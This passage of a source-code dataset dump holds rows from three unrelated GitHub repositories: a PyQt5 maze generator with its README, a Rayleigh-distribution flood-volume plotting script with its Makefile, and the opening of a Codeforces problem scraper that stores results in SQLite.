walk(self, originX, originY, started):\n #generate rendom list of all 4 directions\n directions = random.sample([N,S,E,W], 4)\n\n #if first call after a hunt routine connect the maze to a random visited cell nearby\n if started == 1:\n for direction in directions:\n #convert direction into maze coordinates\n if direction == S:\n nextX, nextY = originX, originY + 1\n elif direction == N:\n nextX, nextY = originX, originY - 1\n elif direction == E:\n nextX, nextY = originX + 1, originY\n else:\n nextX, nextY = originX - 1, originY\n\n if nextY in range(self.mazeHeight) and\\\n nextX in range(self.mazeWidth) and self.maze[nextY][nextX] != 0:\n self.maze[originY][originX] |= direction\n self.maze[nextY][nextX] |= REVERSE[direction]\n break\n \n #go to a random unvisited cell and return its coordinates \n for direction in directions:\n #convert direction into maze coordinates\n if direction == S:\n nextX, nextY = originX, originY + 1\n elif direction == N:\n nextX, nextY = originX, originY - 1\n elif direction == E:\n nextX, nextY = originX + 1, originY\n else:\n nextX, nextY = originX - 1, originY\n \n if nextY in range(self.mazeHeight) and\\\n nextX in range(self.mazeWidth) and self.maze[nextY][nextX] == 0:\n self.maze[originY][originX] |= direction\n self.maze[nextY][nextX] |= REVERSE[direction]\n return nextX, nextY\n\n #Hunt routine for Hunt and Kill\n def hunt(self):\n #iterate through the maze and return an unvisited cell\n for i in range(self.mazeHeight):\n for j in range(self.mazeWidth):\n if self.maze[i][j] == 0:\n return i, j\n # return -1, -1 if all cell are visited\n return -1, -1\n\n\n #Utilitarian blocks to print maze values and draw the maze in the terminal\n def printMaze(self):\n for i in range(self.mazeHeight):\n print ('\\n')\n for j in range(self.mazeWidth):\n print(self.maze[i][j], end=' ')\n print('\\n')\n\n def draw(self):\n print(\"_\" * (self.mazeWidth * 2))\n for j in range(self.mazeHeight):\n if j!=0:\n print(\"|\", end='')\n else:\n print (\"_\", end='')\n for i in range(self.mazeWidth):\n if (self.maze[j][i] & S != 0):\n print(\" \", end='')\n else:\n print(\"_\", end='')\n if self.maze[j][i] & E != 0 and i + 1 < self.mazeWidth:\n if ((self.maze[j][i] | self.maze[j][i+1]) & S != 0):\n print(\" \", end='')\n else:\n print(\"_\", end='')\n elif (i==self.mazeWidth-1) & (j==self.mazeHeight-1):\n print(\"_\", end='')\n else:\n print(\"|\", end='')\n print(\"\")\n\n#Create App and GUI Objects and connect to the system\napp = QApplication(sys.argv)\ngui = MazeMakerGUI()\nsys.exit(app.exec_())\n"},{"alpha_fraction":0.7200000286102295,"alphanum_fraction":0.7446808218955994,"avg_line_length":26.325580596923828,"blob_id":"42121d511849980c473e1fdfb02fb5f9513c6925","content_id":"334d76dc5dc10e25a355f897b004bb00597bdbc2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1175,"license_type":"no_license","max_line_length":260,"num_lines":43,"path":"/README.md","repo_name":"ransaked1/MazeMaker","src_encoding":"UTF-8","text":"# MazeMaker\nSimple maze generator with Recursive Backtracking and Hunt and Kill algorithms in Python using PyQt5\n\n <img src=\"https://github.com/ransaked1/MazeGenerator/blob/master/MazeMaker.png\" width=\"490\" height=\"350\">\n\n## Getting Started\n\n### Prerequisites\n\nMake sure you have python3 installed:\n```\nsudo apt-get install python3\n```\n\nTo install PyQt5 type:\n```\nsudo apt-get install python3-pyqt5\nsudo apt-get install pyqt5-dev-tools\nsudo apt-get install qttools5-dev-tools\n```\n\n## Running the program\nIn root folder run:\n```\npython3 mazemaker.py\n```\n\n### Potential Issues\n* PyQt5 uses the X11 server for display. If you are running the app on a Windows 10 Ubuntu Subsystem, you will need to download and setup Xming in Windows: https://xming.en.softonic.com/. Then export the window path in your Ubuntu environment and run the game:\n```\nexport DISPLAY=:0.0\n```\n* If the game won't open on your Linux or MacOS machine you may be missing the X11 server packages. You can download them by typing:\n```\nsudo apt-get install xorg openbox\n```\nAnd export the windows path:\n```\nexport DISPLAY=:0.0\n```\n\n## Built With\n* [PyQt5](https://pypi.org/project/PyQt5/) - Cross-platform GUI\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5107104778289795,\n \"alphanum_fraction\": 0.5312590599060059,\n \"avg_line_length\": 33.97288131713867,\n \"blob_id\": \"698cd9c438d5de9b08cffebf89639e40ef657cb2\",\n \"content_id\": \"6622c9e357c259b41756b97efaa16ed77521be7e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 10317,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 295,\n \"path\": \"/mazemaker.py\",\n \"repo_name\": \"ransaked1/MazeMaker\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\nimport random\\n\\nfrom PyQt5.QtWidgets import *\\nfrom PyQt5.QtGui import *\\nfrom PyQt5.QtCore import *\\n\\n#defining values for each direction in the maze\\nN,S,E,W = 1,2,4,8\\n\\n#defining macro to reverse directions\\nREVERSE = {E: W, W: E, N: S, S: N}\\n\\n#GUI object for the app\\nclass MazeMakerGUI(QWidget):\\n\\n def __init__(self):\\n super(MazeMakerGUI, self).__init__()\\n\\n #initializing variables and setting recursion limit\\n self.mazeHeight = 0\\n self.mazeWidth = 0\\n \\n sys.setrecursionlimit(35 * 45)\\n\\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\\n\\n #initializing UI\\n self.initUI()\\n\\n #drawing the GUI and maze\\n def paintEvent(self, event):\\n\\n #initializing the painter and fonts\\n qp = QPainter()\\n qp.begin(gui)\\n pen = QPen(Qt.black, 3, Qt.SolidLine)\\n qp.setPen(pen)\\n qp.setFont(QFont('Decorative', 22))\\n \\n qp.drawText(868, 86, \\\"x\\\")\\n\\n #drawing the box around the maze output\\n qp.drawLine(55, 615, 55, 55)\\n qp.drawLine(780, 615, 780, 55)\\n qp.drawLine(55, 53, 780, 53)\\n qp.drawLine(55, 615, 780, 615)\\n\\n\\n #drawing the maze\\n drawWidth = 80\\n drawHeight = 70\\n #drawing the top line\\n for i in range(self.mazeWidth):\\n qp.drawLine(drawWidth,drawHeight,drawWidth + 15,drawHeight)\\n drawWidth += 15\\n #drawing the rest of the maze\\n for j in range(self.mazeHeight):\\n drawWidth = 80\\n drawHeight += 15\\n #drawing the left wall of the maze\\n if j != 0:\\n qp.drawLine(drawWidth, drawHeight, drawWidth, drawHeight - 15)\\n for i in range(self.mazeWidth ):\\n #leave gap if there is no wall to the south else draw south most wall \\n if self.maze[j][i] & S != 0:\\n drawWidth += 15\\n else:\\n qp.drawLine(drawWidth,drawHeight,drawWidth + 15,drawHeight)\\n drawWidth += 15\\n #don't do anything if at the west most wall\\n if self.maze[j][i] & E != 0 and i + 1 < self.mazeWidth:\\n if (self.maze[j][i] | self.maze[j][i+1]) & S == 0:\\n drawWidth += 0\\n #don't draw to the west if at exit\\n elif (i == self.mazeWidth-1) & (j == self.mazeHeight-1):\\n drawWidth += 15\\n #draw wall to the west\\n else:\\n qp.drawLine(drawWidth, drawHeight, drawWidth, drawHeight - 15)\\n\\n qp.end()\\n \\n\\n #generating the UI\\n def initUI(self):\\n\\n #initializing app window\\n self.setGeometry(30, 30, 980, 670)\\n self.setWindowTitle('Maze Maker')\\n\\n #initializing boxes for maze size input\\n self.boxWidth = QLineEdit(self)\\n self.boxWidth.move(830, 70)\\n self.boxWidth.resize(30,20)\\n\\n self.boxHeight = QLineEdit(self)\\n self.boxHeight.move(890, 70)\\n self.boxHeight.resize(30,20)\\n\\n #initializing button for maze generation\\n self.generateButton = QPushButton('Generate maze with RecB', self)\\n self.generateButton.move(817,100)\\n\\n self.generateButton1 = QPushButton('Generate maze with HnK', self)\\n self.generateButton1.move(819,130)\\n\\n self.generateButton.clicked.connect(self.on_click)\\n self.generateButton1.clicked.connect(self.on_click1)\\n\\n #drawing all the UI components\\n self.show()\\n\\n def on_click(self):\\n #checking input\\n inputWidth = self.boxWidth.text()\\n inputHeight = self.boxHeight.text()\\n \\n try:\\n self.mazeWidth = int(inputWidth)\\n self.mazeHeight = int(inputHeight)\\n except:\\n QMessageBox.about(self, 'Error','Maze size input can only be a number')\\n return\\n pass\\n\\n if (self.mazeWidth > 45 or self.mazeHeight > 35):\\n QMessageBox.about(self, 'Error','Maze size has to be less than 45 x 35')\\n return\\n\\n if (self.mazeWidth < 3 and self.mazeHeight < 3):\\n QMessageBox.about(self, 'Error','Maze size has to be more than 2 x 3 or 3 x 2')\\n return\\n\\n #generating bidimensional array for the maze and building it\\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\\n self.buildMazeRecBack(0, 0)\\n\\n #updating the screen\\n self.update()\\n\\n def on_click1(self):\\n #checking input\\n inputWidth = self.boxWidth.text()\\n inputHeight = self.boxHeight.text()\\n \\n try:\\n self.mazeWidth = int(inputWidth)\\n self.mazeHeight = int(inputHeight)\\n except:\\n QMessageBox.about(self, 'Error','Maze size input can only be a number')\\n return\\n pass\\n\\n if (self.mazeWidth > 45 or self.mazeHeight > 35):\\n QMessageBox.about(self, 'Error','Maze size has to be less than 45 x 35')\\n return\\n\\n if (self.mazeWidth < 3 and self.mazeHeight < 3):\\n QMessageBox.about(self, 'Error','Maze size has to be more than 2 x 3 or 3 x 2')\\n return\\n\\n #generating bidimensional array for the maze and building it\\n self.maze = list(list(0 for i in range(self.mazeWidth)) for j in range(self.mazeHeight))\\n\\n #Hunt and kill driver code\\n y = 0\\n x = 0\\n while x != -1:\\n started = 1\\n while 1:\\n try: \\n y, x = self.walk(y,x, started)\\n started = 0\\n except:\\n break\\n x, y = self.hunt()\\n\\n #updating the screen\\n self.update()\\n\\n #Recursive backtracking algorithm\\n def buildMazeRecBack(self, originX, originY):\\n #generate rendom list of all 4 directions\\n directions = random.sample([N,S,E,W], 4)\\n\\n #loop through the list\\n for direction in directions:\\n #convert direction into maze coordinates\\n if direction == S:\\n nextX, nextY = originX, originY + 1\\n elif direction == N:\\n nextX, nextY = originX, originY - 1\\n elif direction == E:\\n nextX, nextY = originX + 1, originY\\n else:\\n nextX, nextY = originX - 1, originY\\n\\n #check if there is a cell to go to and break the wall there\\n if nextY in range(self.mazeHeight) and\\\\\\n (nextX in range(self.mazeWidth)) and\\\\\\n self.maze[nextY][nextX] == 0:\\n self.maze[originY][originX] |= direction\\n self.maze[nextY][nextX] |= REVERSE[direction]\\n #do that recursively\\n self.buildMazeRecBack(nextX, nextY)\\n\\n #Walk routine for Hunt and Kill\\n def walk(self, originX, originY, started):\\n #generate rendom list of all 4 directions\\n directions = random.sample([N,S,E,W], 4)\\n\\n #if first call after a hunt routine connect the maze to a random visited cell nearby\\n if started == 1:\\n for direction in directions:\\n #convert direction into maze coordinates\\n if direction == S:\\n nextX, nextY = originX, originY + 1\\n elif direction == N:\\n nextX, nextY = originX, originY - 1\\n elif direction == E:\\n nextX, nextY = originX + 1, originY\\n else:\\n nextX, nextY = originX - 1, originY\\n\\n if nextY in range(self.mazeHeight) and\\\\\\n nextX in range(self.mazeWidth) and self.maze[nextY][nextX] != 0:\\n self.maze[originY][originX] |= direction\\n self.maze[nextY][nextX] |= REVERSE[direction]\\n break\\n \\n #go to a random unvisited cell and return its coordinates \\n for direction in directions:\\n #convert direction into maze coordinates\\n if direction == S:\\n nextX, nextY = originX, originY + 1\\n elif direction == N:\\n nextX, nextY = originX, originY - 1\\n elif direction == E:\\n nextX, nextY = originX + 1, originY\\n else:\\n nextX, nextY = originX - 1, originY\\n \\n if nextY in range(self.mazeHeight) and\\\\\\n nextX in range(self.mazeWidth) and self.maze[nextY][nextX] == 0:\\n self.maze[originY][originX] |= direction\\n self.maze[nextY][nextX] |= REVERSE[direction]\\n return nextX, nextY\\n\\n #Hunt routine for Hunt and Kill\\n def hunt(self):\\n #iterate through the maze and return an unvisited cell\\n for i in range(self.mazeHeight):\\n for j in range(self.mazeWidth):\\n if self.maze[i][j] == 0:\\n return i, j\\n # return -1, -1 if all cell are visited\\n return -1, -1\\n\\n\\n #Utilitarian blocks to print maze values and draw the maze in the terminal\\n def printMaze(self):\\n for i in range(self.mazeHeight):\\n print ('\\\\n')\\n for j in range(self.mazeWidth):\\n print(self.maze[i][j], end=' ')\\n print('\\\\n')\\n\\n def draw(self):\\n print(\\\"_\\\" * (self.mazeWidth * 2))\\n for j in range(self.mazeHeight):\\n if j!=0:\\n print(\\\"|\\\", end='')\\n else:\\n print (\\\"_\\\", end='')\\n for i in range(self.mazeWidth):\\n if (self.maze[j][i] & S != 0):\\n print(\\\" \\\", end='')\\n else:\\n print(\\\"_\\\", end='')\\n if self.maze[j][i] & E != 0 and i + 1 < self.mazeWidth:\\n if ((self.maze[j][i] | self.maze[j][i+1]) & S != 0):\\n print(\\\" \\\", end='')\\n else:\\n print(\\\"_\\\", end='')\\n elif (i==self.mazeWidth-1) & (j==self.mazeHeight-1):\\n print(\\\"_\\\", end='')\\n else:\\n print(\\\"|\\\", end='')\\n print(\\\"\\\")\\n\\n#Create App and GUI Objects and connect to the system\\napp = QApplication(sys.argv)\\ngui = MazeMakerGUI()\\nsys.exit(app.exec_())\\n\"\n },\n {\n \"alpha_fraction\": 0.7200000286102295,\n \"alphanum_fraction\": 0.7446808218955994,\n \"avg_line_length\": 26.325580596923828,\n \"blob_id\": \"42121d511849980c473e1fdfb02fb5f9513c6925\",\n \"content_id\": \"334d76dc5dc10e25a355f897b004bb00597bdbc2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1175,\n \"license_type\": \"no_license\",\n \"max_line_length\": 260,\n \"num_lines\": 43,\n \"path\": \"/README.md\",\n \"repo_name\": \"ransaked1/MazeMaker\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# MazeMaker\\nSimple maze generator with Recursive Backtracking and Hunt and Kill algorithms in Python using PyQt5\\n\\n <img src=\\\"https://github.com/ransaked1/MazeGenerator/blob/master/MazeMaker.png\\\" width=\\\"490\\\" height=\\\"350\\\">\\n\\n## Getting Started\\n\\n### Prerequisites\\n\\nMake sure you have python3 installed:\\n```\\nsudo apt-get install python3\\n```\\n\\nTo install PyQt5 type:\\n```\\nsudo apt-get install python3-pyqt5\\nsudo apt-get install pyqt5-dev-tools\\nsudo apt-get install qttools5-dev-tools\\n```\\n\\n## Running the program\\nIn root folder run:\\n```\\npython3 mazemaker.py\\n```\\n\\n### Potential Issues\\n* PyQt5 uses the X11 server for display. If you are running the app on a Windows 10 Ubuntu Subsystem, you will need to download and setup Xming in Windows: https://xming.en.softonic.com/. Then export the window path in your Ubuntu environment and run the game:\\n```\\nexport DISPLAY=:0.0\\n```\\n* If the game won't open on your Linux or MacOS machine you may be missing the X11 server packages. You can download them by typing:\\n```\\nsudo apt-get install xorg openbox\\n```\\nAnd export the windows path:\\n```\\nexport DISPLAY=:0.0\\n```\\n\\n## Built With\\n* [PyQt5](https://pypi.org/project/PyQt5/) - Cross-platform GUI\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978361,"cells":{"repo_name":{"kind":"string","value":"saludes/2010flood"},"repo_url":{"kind":"string","value":"https://github.com/saludes/2010flood"},"snapshot_id":{"kind":"string","value":"6e3bd5aa7e869fee061023845f7a0baf48843fe9"},"revision_id":{"kind":"string","value":"03ded64517e013c63307836d99e7b22e4bc3394d"},"directory_id":{"kind":"string","value":"bf08e2b8198b0851ce3e482496ac012283edf8a9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T23:21:39.019264","string":"2016-09-05T23:21:39.019264"},"revision_date":{"kind":"timestamp","value":"2011-09-14T09:38:37","string":"2011-09-14T09:38:37"},"committer_date":{"kind":"timestamp","value":"2011-09-14T09:38:37","string":"2011-09-14T09:38:37"},"github_id":{"kind":"number","value":1765342,"string":"1,765,342"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.559476375579834,"alphanum_fraction":0.615822434425354,"avg_line_length":24.114286422729492,"blob_id":"f3847e3db00a92989eecb237556447d80293ef27","content_id":"63ed06e1d5933dfdab3b4fd06437e50dfd6d977b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1757,"license_type":"no_license","max_line_length":77,"num_lines":70,"path":"/rayleigh.py","repo_name":"saludes/2010flood","src_encoding":"UTF-8","text":"from numpy import *\nimport sys\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\nmode= 'save'\nN = 100\nM = 1000\ns = tm = 10\na = -10\nb = 100\n\n# http://en.wikipedia.org/wiki/Rayleigh_distribution\n# cumulative distribution: 1-exp(-x^2/(2*sigma**2))\nray = lambda t,sigma=1: t>0 and t/sigma**2*exp(-t**2/(2*sigma**2)) or 0.\npray = lambda t,sigma=1: t>0 and 1 - exp(-t**2/2/sigma**2) or 0.\n\n\nts = linspace(a,b,M)\nqs = array([1 + 40*ray(t,tm) for t in ts])\ntqs = array([ts,qs]).transpose()\nqmax = max(qs)\nqmin = min(qs)\ntmax = ts[argmax(qs)]\nprint \"qmax =\",qmax, \" at tmax =\", tmax\ntqs1 = tqs[ts<tmax,:]\ntqs2 = tqs[ts>tmax,:]\n\nassert all(diff(tqs1[:,1])>=0), \"Not increasing\"\nassert all(diff(tqs2[:,1])<=0), \"Not decreasing\"\n\n# Inverse interpolation to find t_{-+}(q)\nundef = NaN\nt1 = lambda q: interp(q, tqs1[:,1], tqs1[:,0],left=undef, right=undef)\nt2 = lambda q: interp(q, tqs2[::-1,1], tqs2[::-1,0], left=undef, right=undef)\n\nys = linspace(0,qmax,N)[:-1]\ndq = ys[1]-ys[0]\ndt = t2(ys)-t1(ys)\n#print dt\n#assert all(dt>=0), \"Negative dt\"\n#assert all(logical_or(isnan(diff(dt)), diff(dt)<=0)), \"Non decreasing dt\"\nvy = cumsum(dq*dt[::-1]) # Start at the top\n\nfg = plt.figure(1)\nax1 = fg.add_subplot(121)\nax2 = fg.add_subplot(122)\nax1.plot(ys[::-1],vy,'b-')\n\nW = 22.\nqf = interp(W,vy,ys[::-1])\nprint \"W = \", W\nprint \"Qf = \", qf\nprint \"t1,t2 = \", t1(qf), t2(qf)\npq = tuple([t + 40*pray(t,tm) for t in (t1(qf),t2(qf))])\nprint \"cumulative difference =\",pq[1] - pq[0], (t2(qf) - t1(qf))*qf + W \nax1.plot([1,qf,qf],[W,W,0],'g:')\nax2.plot(ts,qs,'b-')\nax2.plot([a,b],[qf,qf],'r:')\nfcolor = 'cyan'\nax2.fill_between(ts,qs,qf,where=qs>qf,facecolor=fcolor,color=fcolor)\nax2.axis([a,b,0,5])\n\n\n\nif mode == 'save':\n\tfg.savefig('cut.pdf')\nelse:\n\tplt.show()"},{"alpha_fraction":0.6861313581466675,"alphanum_fraction":0.7007299065589905,"avg_line_length":16.1875,"blob_id":"1aaabb32e120549e9c25deab0c66dde49e316076","content_id":"3cf6d339b65f254efe7e17872f7e37d71ae05638","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":274,"license_type":"no_license","max_line_length":84,"num_lines":16,"path":"/README.md","repo_name":"saludes/2010flood","src_encoding":"UTF-8","text":"## How to view it\n\nGo to file `flood.pdf` and click _View Raw_.\n\n## How to make it\n\n> latex flood\n\n## File organization\n\n`flood.tex` is the main LaTeX file but the bulk of the paper is inside `answer.tex`.\n\n\n## To do\n\nVisit the Wiki https://github.com/saludes/2010flood/wiki"},{"alpha_fraction":0.6875,"alphanum_fraction":0.6988636255264282,"avg_line_length":12.538461685180664,"blob_id":"18cec95aa26582d3969b7ff835f9354903646d94","content_id":"6b23a68cc71780cb151c8c5dc44b057dfd9e3441","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":176,"license_type":"no_license","max_line_length":41,"num_lines":13,"path":"/Makefile","repo_name":"saludes/2010flood","src_encoding":"UTF-8","text":"IMAGES = cut.pdf\nflood.pdf: flood.tex answer.tex ${IMAGES}\n\tpdflatex flood\n\ncut.pdf: rayleigh.py\n\tpython2.6 $^\n\nclean:\n\trm -f cut.pdf \n\ndistclean:\n\tmake clean\n\trm -f flood.pdf\n"}],"string":"[\n {\n \"alpha_fraction\": 0.559476375579834,\n \"alphanum_fraction\": 0.615822434425354,\n \"avg_line_length\": 24.114286422729492,\n \"blob_id\": \"f3847e3db00a92989eecb237556447d80293ef27\",\n \"content_id\": \"63ed06e1d5933dfdab3b4fd06437e50dfd6d977b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1757,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 70,\n \"path\": \"/rayleigh.py\",\n \"repo_name\": \"saludes/2010flood\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from numpy import *\\nimport sys\\nimport matplotlib\\nmatplotlib.use('TkAgg')\\nimport matplotlib.pyplot as plt\\n\\nmode= 'save'\\nN = 100\\nM = 1000\\ns = tm = 10\\na = -10\\nb = 100\\n\\n# http://en.wikipedia.org/wiki/Rayleigh_distribution\\n# cumulative distribution: 1-exp(-x^2/(2*sigma**2))\\nray = lambda t,sigma=1: t>0 and t/sigma**2*exp(-t**2/(2*sigma**2)) or 0.\\npray = lambda t,sigma=1: t>0 and 1 - exp(-t**2/2/sigma**2) or 0.\\n\\n\\nts = linspace(a,b,M)\\nqs = array([1 + 40*ray(t,tm) for t in ts])\\ntqs = array([ts,qs]).transpose()\\nqmax = max(qs)\\nqmin = min(qs)\\ntmax = ts[argmax(qs)]\\nprint \\\"qmax =\\\",qmax, \\\" at tmax =\\\", tmax\\ntqs1 = tqs[ts<tmax,:]\\ntqs2 = tqs[ts>tmax,:]\\n\\nassert all(diff(tqs1[:,1])>=0), \\\"Not increasing\\\"\\nassert all(diff(tqs2[:,1])<=0), \\\"Not decreasing\\\"\\n\\n# Inverse interpolation to find t_{-+}(q)\\nundef = NaN\\nt1 = lambda q: interp(q, tqs1[:,1], tqs1[:,0],left=undef, right=undef)\\nt2 = lambda q: interp(q, tqs2[::-1,1], tqs2[::-1,0], left=undef, right=undef)\\n\\nys = linspace(0,qmax,N)[:-1]\\ndq = ys[1]-ys[0]\\ndt = t2(ys)-t1(ys)\\n#print dt\\n#assert all(dt>=0), \\\"Negative dt\\\"\\n#assert all(logical_or(isnan(diff(dt)), diff(dt)<=0)), \\\"Non decreasing dt\\\"\\nvy = cumsum(dq*dt[::-1]) # Start at the top\\n\\nfg = plt.figure(1)\\nax1 = fg.add_subplot(121)\\nax2 = fg.add_subplot(122)\\nax1.plot(ys[::-1],vy,'b-')\\n\\nW = 22.\\nqf = interp(W,vy,ys[::-1])\\nprint \\\"W = \\\", W\\nprint \\\"Qf = \\\", qf\\nprint \\\"t1,t2 = \\\", t1(qf), t2(qf)\\npq = tuple([t + 40*pray(t,tm) for t in (t1(qf),t2(qf))])\\nprint \\\"cumulative difference =\\\",pq[1] - pq[0], (t2(qf) - t1(qf))*qf + W \\nax1.plot([1,qf,qf],[W,W,0],'g:')\\nax2.plot(ts,qs,'b-')\\nax2.plot([a,b],[qf,qf],'r:')\\nfcolor = 'cyan'\\nax2.fill_between(ts,qs,qf,where=qs>qf,facecolor=fcolor,color=fcolor)\\nax2.axis([a,b,0,5])\\n\\n\\n\\nif mode == 'save':\\n\\tfg.savefig('cut.pdf')\\nelse:\\n\\tplt.show()\"\n },\n {\n \"alpha_fraction\": 0.6861313581466675,\n \"alphanum_fraction\": 0.7007299065589905,\n \"avg_line_length\": 16.1875,\n \"blob_id\": \"1aaabb32e120549e9c25deab0c66dde49e316076\",\n \"content_id\": \"3cf6d339b65f254efe7e17872f7e37d71ae05638\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 274,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 16,\n \"path\": \"/README.md\",\n \"repo_name\": \"saludes/2010flood\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"## How to view it\\n\\nGo to file `flood.pdf` and click _View Raw_.\\n\\n## How to make it\\n\\n> latex flood\\n\\n## File organization\\n\\n`flood.tex` is the main LaTeX file but the bulk of the paper is inside `answer.tex`.\\n\\n\\n## To do\\n\\nVisit the Wiki https://github.com/saludes/2010flood/wiki\"\n },\n {\n \"alpha_fraction\": 0.6875,\n \"alphanum_fraction\": 0.6988636255264282,\n \"avg_line_length\": 12.538461685180664,\n \"blob_id\": \"18cec95aa26582d3969b7ff835f9354903646d94\",\n \"content_id\": \"6b23a68cc71780cb151c8c5dc44b057dfd9e3441\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 176,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 13,\n \"path\": \"/Makefile\",\n \"repo_name\": \"saludes/2010flood\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"IMAGES = cut.pdf\\nflood.pdf: flood.tex answer.tex ${IMAGES}\\n\\tpdflatex flood\\n\\ncut.pdf: rayleigh.py\\n\\tpython2.6 $^\\n\\nclean:\\n\\trm -f cut.pdf \\n\\ndistclean:\\n\\tmake clean\\n\\trm -f flood.pdf\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978362,"cells":{"repo_name":{"kind":"string","value":"lissrbay/codeforces_bot"},"repo_url":{"kind":"string","value":"https://github.com/lissrbay/codeforces_bot"},"snapshot_id":{"kind":"string","value":"925adf28c70d06c7597e77990d37e821028a6cb5"},"revision_id":{"kind":"string","value":"cc00da63d4c6e2ae9b5554224cd111a1d5dc37b4"},"directory_id":{"kind":"string","value":"b5733e309a1b4cfc5a683ef9ed4aced2f716ba66"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-09-02T13:40:42.429158","string":"2021-09-02T13:40:42.429158"},"revision_date":{"kind":"timestamp","value":"2018-01-03T00:26:46","string":"2018-01-03T00:26:46"},"committer_date":{"kind":"timestamp","value":"2018-01-03T00:26:46","string":"2018-01-03T00:26:46"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5163999199867249,"alphanum_fraction":0.529710054397583,"avg_line_length":39.20382308959961,"blob_id":"6e81290ca74a3906ab92fa8f134c5c1c9f13d232","content_id":"ca9a26b0d98331709f578e9e3b1db6cdf8f1e53a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6311,"license_type":"no_license","max_line_length":123,"num_lines":157,"path":"/bases/update.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"import requests\nimport sqlite3\nimport os\nfrom bs4 import BeautifulSoup\n\ndef cf_update():\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n cursor = settings.cursor()\n cursor.execute(\"select * from last_update_problemset\")\n x = cursor.fetchone()\n\n last_try = x[0]\n\n url = 'http://codeforces.com/problemset/'\n r = requests.get(url)\n max_page = 0\n available_tags = {'math', \"strings\", \"trees\", \"graphs\", \"dp\", \"greedy\"}\n soup = BeautifulSoup(r.text, \"lxml\")\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\cf.db\")\n conn = base.cursor()\n\n for link in soup.find_all(attrs={\"class\" : \"page-index\"}):\n s = link.find('a')\n s2 = s.get(\"href\").split('/')\n max_page = max(max_page, int(s2[3]))\n\n a = ''\n b = 0\n f = False\n last_update = last_try\n for i in range(1, max_page + 1):\n r = requests.get('http://codeforces.com/problemset/' + '/page/' + str(i))\n soup = BeautifulSoup(r.text, \"lxml\")\n old = ''\n v = False\n for link in soup.find_all('a'):\n s = link.get('href')\n if s != None and s.find('/problemset') != -1:\n s = s.split('/')\n if len(s) == 5 and old != s[3] + s[4]:\n if s[3] + s[4] == last_try:\n v = True\n break\n a = s[3]\n b = s[4]\n old = s[3] + s[4]\n if not f:\n f = True\n last_update = old\n conn.execute(\"insert into problems values (?, ?)\", (a, b))\n if len(s) == 4 and s[3] in available_tags:\n conn.execute(\"insert into ? values (?, ?)\", (s[3], a, b))\n\n if v:\n break\n\n\n base.commit()\n base.close()\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"update last_update_problemset set problem = ? where problem = ?\", (str(last_update), str(last_try)))\n settings.commit()\n settings.close()\n\ndef update_user(username, chat_id, last_update):\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n cursor_settings = settings.cursor()\n cursor_settings.execute(\"select last_problem from users where chat_id = ?\", (str(chat_id), ))\n update_eq = cursor_settings.fetchone()\n cursor_settings.execute(\"select * from last_update_problemset\")\n update_base = cursor_settings.fetchone()\n last_problem = update_base[0]\n if update_eq[0] != update_base[0]:\n cursor2.execute(\"SELECT * FROM problems\")\n x = 